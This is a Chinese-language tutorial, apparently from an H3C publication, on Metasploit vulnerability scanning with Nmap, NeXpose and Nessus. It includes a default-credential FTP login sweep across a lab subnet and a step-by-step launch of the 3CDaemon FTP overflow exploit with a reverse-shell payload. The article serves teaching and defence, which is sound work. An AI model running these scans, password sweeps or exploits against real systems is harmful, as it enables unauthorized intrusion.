1. 程式人生 > >Metasploit與漏洞掃描

Metasploit與漏洞掃描

http://www.h3c.com.cn/About_H3C/Company_Publication/IP_Lh/2013/03/Home/Catalog/201307/790128_30008_0.htm

漏洞,是指在硬體軟體、協議實現或系統安全策略上存在缺陷,攻擊者能夠在未授權的情況下對系統進行訪問或破壞。它會成為入侵者侵入系統和植入惡意軟體的入口,影響系統使用者的切身利益。漏洞與目標系統的作業系統版本、軟體版本以及服務設定密切相關。研究漏洞必須要了解當前計算機系統及其安全問題的最新發展動態。常見的漏洞包括緩衝區溢位漏洞、跨站指令碼漏洞(XSS)、SQL注入漏洞、資料庫漏洞以及WEB應用漏洞等。

常見的漏洞發掘方法分為以下幾種。

m  黑盒攻擊(Fuzzing):即通過注入資料進行自動化測試。

m  獲取攻擊物件的原始碼進行審計:網路上有很多原始碼審計工具可供使用,如Fortify。

m  反彙編審計:如果無法獲取到原始碼,可以基於彙編碼進行反彙編審計。IDA是一款常用的反彙編軟體。

m  動態跟蹤分析:通過記錄程式在不同條件下執行操作(如檔案操作),分析這些操作序列是否存在問題。

m  補丁比較:廠商軟體的問題通常都會在補丁中解決,如微軟的Windows作業系統會不定期釋出補丁程式,通過對比補丁前後文件的原始碼(或反彙編碼)就能瞭解漏洞的具體細節。

目前,針對常用的漏洞發掘方法已經開發出了很多漏洞掃描工具。漏洞掃描工具是一種能在計算機、資訊系統、網路及應用軟體中查詢安全弱點的程式。通過對目標系統進行探測,向目標系統傳送資料,並將反饋結果與漏洞特徵庫進行匹配,分析出目標系統上存在的安全漏洞。比較常用的漏洞掃描工具有Metasploit、Nmap、NeXpose、Nessus、Xscan等。

二 Metasploit Framework工具簡介

Metasploit Framework是一個強大的開源平臺,為滲透測試、shellcode 編寫和漏洞研究提供了一個可靠環境。它集成了各種常見的溢位漏洞和shellcode ,並且不斷更新。當前版本收集了上千個實用的溢位攻擊程式及一些輔助工具,操作簡單,易用性好。當然,它不只是一個簡單的收集工具,還提供了所有的類和方法,以便開發人員使用這些程式碼方便快速的進行二次開發。漏洞掃描只是Metasploit Framewotk眾多功能中的一種,本文只介紹它的漏洞掃描功能。  

Metasploit Framework的總體架構如圖1所示,它包含Exploit、Auxiliary、Payload等多個模組:

m  Exploit是攻擊模組,基本上目前所有的作業系統在Metasploit Framework上均有對應的攻擊模組;

m  Auxiliary是輔助模組,用途非常廣泛,它可以作為掃描器、拒絕服務攻擊工具、Fuzz測試器,以及其他型別的工具;

m  Payload是在目標系統被攻陷之後執行的程式碼,如新增使用者賬號,獲取shell互動許可權等;

A description...

                                                                                          圖1 Metasploit Framework整體架構

三 Metasploit的幾種漏洞掃描元件

1      Nmap

Nmap適用於Winodws、Linux、Mac等作業系統。它用於主機發現、埠發現或列舉、服務發現,檢測作業系統、硬體地址、軟體版本以及脆弱性的漏洞。Metasploit Framework平臺集成了Nmap元件。通常在對目標系統發起攻擊之前需要進行一些必要的資訊收集,如獲取網路中的活動主機、主機開放的埠等。

Nmap掃描存活主機及主機執行的服務:

nmap -P0 192.168.20.1-10,掃描結果顯示網路中活動的主機有7臺,且列舉出了每臺主機執行的服務及主機MAC地址。

msf > nmap -P0 192.168.20.1-10

[*] exec: nmap -P0 192.168.20.1-10

Starting Nmap 6.25 ( http://nmap.org ) at 2013-06-06 15:47 ????????????

Nmap scan report for 192.168.20.1

Host is up (0.00014s latency).

Not shown: 995 closed ports

PORT      STATE    SERVICE

23/tcp    open     telnet

80/tcp    open     http

MAC Address: 00:0F:E2:69:5D:E2 (Hangzhou H3C Technologies Co.)

……

Nmap scan report for 192.168.20.4

Host is up (0.0098s latency).

Not shown: 986 closed ports

PORT      STATE SERVICE

21/tcp    open  ftp

80/tcp    open  http

135/tcp   open  msrpc

443/tcp   open  https

445/tcp   open  microsoft-ds

902/tcp   open  iss-realsecure

912/tcp   open  apex-mesh

3389/tcp  open  ms-wbt-server

MAC Address: 68:05:CA:0E:BF:59 (Intel)

……

Nmap done: 10 IP addresses (7 hosts up) scanned in 17.53 seconds

msf >

Nmap掃描作業系統和服務軟體版本資訊:

msf > nmap -A -T4 192.168.20.4,Nmap顯示的掃描結果相當詳細,列出了目標伺服器192.168.20.4上執行的作業系統是微軟的Windows 7或者Windows 2008,提供FTP服務的軟體是3Com 3CDaemon FTP Server,版本號為2.0,並且使用匿名賬號anonymous可以登陸成功。

msf > nmap -A -T4 192.168.20.4

[*] exec: nmap -A -T4 192.168.20.4

Starting Nmap 6.25 ( http://nmap.org ) at 2013-06-06 15:54 ????????????

Nmap scan report for 192.168.20.4

Host is up (0.0074s latency).

Not shown: 986 closed ports

PORT      STATE SERVICE         VERSION

21/tcp    open  ftp             3Com 3CDaemon ftpd 2.0

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

|_ftp-bounce: bounce working!

80/tcp    open  http            HttpFileServer httpd 1.5g

|_http-title: JAX SERVER- /

135/tcp   open  msrpc           Microsoft Windows RPC

443/tcp   open  ssl/http        VMware VirtualCenter Web service

445/tcp   open  netbios-ssn

902/tcp   open  ssl/vmware-auth VMware Authentication Daemon 1.10 (Uses VNC, SOAP)

912/tcp   open  vmware-auth     VMware Authentication Daemon 1.0 (Uses VNC, SOAP)

3389/tcp  open  ms-wbt-server   Microsoft Terminal Service

MAC Address: 68:05:CA:0E:BF:59 (Intel)

Device type: general purpose

Running: Microsoft Windows 7|2008

TRACEROUTE

HOP RTT     ADDRESS

1   7.38 ms 192.168.20.4

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 203.48 seconds

msf >

2      NeXpose

NeXpose通過掃描網路,可以查找出網路上正在執行的裝置,並識別出裝置的作業系統和應用程式的漏洞,並對掃描出的資料進行分析和處理,生成漏洞掃描報告。

首先,如圖2所示,在Metasploit Framework中載入NeXpose外掛:

                                                                                                     圖2 載入NeXpose外掛

使用nexpose_scan命令對目標主機進行漏洞掃描:

msf > nexpose_scan 192.168.20.4

[*]Scanning 1 address with template pentest-audit in sets of 32

[*]Completed the scan of 1 address

msf >

檢視漏洞掃描結果,掃描程式發現了7個漏洞:

msf > db_hosts –c address

Hosts

=====

address       Svcs       Vulns        Workspace

-------       ----       -----        ---------

192.168.20.4  8          7             default

msf>

輸入db_vulns可以顯示已發現漏洞的詳細情況:

msf > db_vulns

[*]Time Mon Jun 2013:10:31 UTC 2010 vuln: host=192.168.20.4 port=445proto=tcp name=Nss-26920refs=CVE-1999-0519,CVE-2002-1117,BID-494,OSVDB-299

       ……

For the sake of brevity,we will just let db_autopwn exploit the low-hanging fruit for us and only run exploit with at least a “good” rating

msf >

3      Nessus

Nessus是當前使用最廣泛的漏洞掃描工具之一。Nessus採用client/sever模式,伺服器端負責進行安全檢查,客戶端用來配置管理伺服器端。在服務端還採用了plug-in的體系,允許使用者加入執行特定功能的外掛,這外掛可以進行更快速和更復雜的安全檢查。

如圖3所示,在Metasploit Framework中載入Nessus外掛:

                                                                                                    圖3    載入Nessus外掛

建立掃描任務:

msf > nessus_scan_new 2 test_scan 192.168.20.4

[*]Creating scan from policy number 2,called “test_scan” and scanning 192.168.20.4

[*]Scan started.uid is d2f1fc02-3b50-4e4e-ab8f-q12jsiey8209384ndjsieksjfdjieb

msf>

檢視掃描執行狀態,“No Scans Running”表示掃描已完成:

msf > db_hosts –c address

[*] No Scans Running

msf>

檢視掃描結果,掃描程式發現345個漏洞:

msf > db_hosts –c address,svcs,vulns

Hosts

=====

address       Svcs       Vulns

-------       ----       -----

192.168.20.4  18         345

msf>

從掃描結果可以看出,對同一個目標主機進行掃描,Nessus掃描出的漏洞數量與NeXpose掃描出的數量有明顯的差異。通過對不同工具的掃描結果進行對比分析,對了解掃描工具本身,和更精確地確定目標系統存在的漏洞都是非常有幫助的。

4      Metasploit的專用FTP掃描器

除了整合的掃描工具,Metasploit自帶的輔助模組,可以針對網路中特定的漏洞進行掃描。下面以FTP掃描為例,介紹Metasploit自帶掃描器的使用方法。

選擇ftp_login模組,掃描網段192.168.20.1-10中能使用固定使用者名稱和密碼root/123456登陸主機:

msf > use auxiliary/scanner/ftp/ftp_login

msf  auxiliary(ftp_login) > set USERNAME root

USERNAME => root

msf  auxiliary(ftp_login) > set PASSWORD 123456

PASSWORD => 123456

msf  auxiliary(ftp_login) > set RHOSTS 192.168.20.1-10

RHOSTS => 192.168.20.1-10

msf  auxiliary(ftp_login) > run

[*] 192.168.20.1:21 - Starting FTP login sweep

[*] Connecting to FTP server 192.168.20.1:21...

……

[*] 192.168.20.1:21 FTP - [1/1] - Attempting FTP login for 'root':'123456'

[+] 192.168.20.1:21 - Successful FTP login for 'root':'123456'

[*] 192.168.20.1:21 - User 'root' has READ/WRITE access

……

[*] Connecting to FTP server 192.168.20.4:21...

[*] Connected to target FTP server.

[+] 192.168.20.4:21 - Successful FTP login for 'root':'123456'

[*] 192.168.20.4:21 - User 'root' has READ/WRITE access

……

[*] Connecting to FTP server 192.168.20.6:21...

[*] Connected to target FTP server.

[+] 192.168.20.6:21 - Successful FTP login for 'root':'123456'

[*] 192.168.20.6:21 - User 'root' has READ/WRITE access

……

[*] Connecting to FTP server 192.168.20.9:21...

[*] Connected to target FTP server.

[+] 192.168.20.9:21 - Successful FTP login for 'root':'123456'

[*] 192.168.20.9:21 - User 'root' has READ/WRITE access

[*] Scanned 10 of 10 hosts (100% complete)

[*] Auxiliary module execution completed

檢視輸出結果,10個IP中有4臺FTP Server均能使用root/123456賬號登陸,並且含有讀寫許可權。通常在公司內網裡,很多人習慣使用簡單的賬號,沒有足夠的安全意識,當攻擊者成功入侵內網後,這些工作站將非常危險。

四Metasploit的一個攻擊例項

漏洞掃描僅僅是Metasploit Framework強大功能的冰山一角,下面簡單說明一下Metasploit執行一次攻擊測試的方法。利用上面Nmap的掃描結果,選取192.168.20.4上所執行的3Com 3CDaemon FTP Server為攻擊目標。通過前面的掃描可以得到目標主機執行的作業系統及應用程式版本的詳細資訊,如圖4所示,在Metasploit Framework裡搜尋針對3CDaemon的攻擊指令碼:

                                                                                        圖4  搜尋針對3CDaemon的攻擊指令碼

use命令進入搜尋到的exploit:

msf > use exploit/windows/ftp/3cdaemon_ftp_user

msf  exploit(3cdaemon_ftp_user) >

Set RHOST命令設定攻擊目標機的IP地址:

msf  exploit(3cdaemon_ftp_user) > set RHOST 192.168.20.4

RHOST => 192.168.20.4

Set target命令設定目標機的作業系統型別:

msf  exploit(3cdaemon_ftp_user) > set target 4

target => 4

設定完成之後, show options顯示設定好的引數資訊:

msf  exploit(3cdaemon_ftp_user) > show options

Module options (exploit/windows/ftp/3cdaemon_ftp_user):

   Name     Current Setting      Required  Description

----     ---------------      --------  -----------

FTPPASS  [email protected]  no        The password for the specified username

FTPUSER  anonymous              no        The username to authenticate as

RHOST    192.168.20.4          yes        The target address

RPORT    21                      yes        The target port

Payload options (windows/shell_reverse_tcp):

Name      Current Setting  Required  Description

----      ---------------  --------  -----------

EXITFUNC  seh                yes       Exit technique: seh, thread, process, none

LHOST     192.168.20.67     yes       The listen address

LPORT     4444                yes       The listen port

Exploit target:

Id  Name

--  ----

4   Windows XP English SP3

輸入exploit命令,開始攻擊:

msf  exploit(3cdaemon_ftp_user) > exploit

 [*] Started reverse handler on 192.168.20.67:4444

[*] Trying target Windows XP English SP3...

msf  exploit(3cdaemon_ftp_user) >

如圖5所示檢視目標機3CDaemon FTP軟體顯示崩潰,攻擊成功!

                                                                                                  圖5  3CDaemon FTP崩潰

分析抓包結果,可以看出該FTP攻擊指令碼是利用超長使用者名稱(如圖6所示)導致FTP Server崩潰的。

                                                                                                             圖6   抓包結果

五 結束語

避免黑客攻擊,部署專門的漏洞檢測防禦系統是非常必要的。Metasploit提供了豐富的掃描功能、攻擊指令碼及二次開發的平臺,使網路安全漏洞檢測變得相對容易。H3C的IPS(Intrusion Prevention System)採用系統的防禦方法,結合智慧的規則識別技術可以對各種漏洞攻擊進行有效的防禦。為應對技術的更新,H3C攻防團隊會主動關注網路上新的攻擊方式,並將分析結果及時新增到IPS特徵庫中供客戶升級使用。對於系統維護者來說,積極主動的查詢漏洞並打上相應補丁,同時結合專業的防禦裝置進行入侵防禦,毫無疑問是維護系統安全的最佳方法。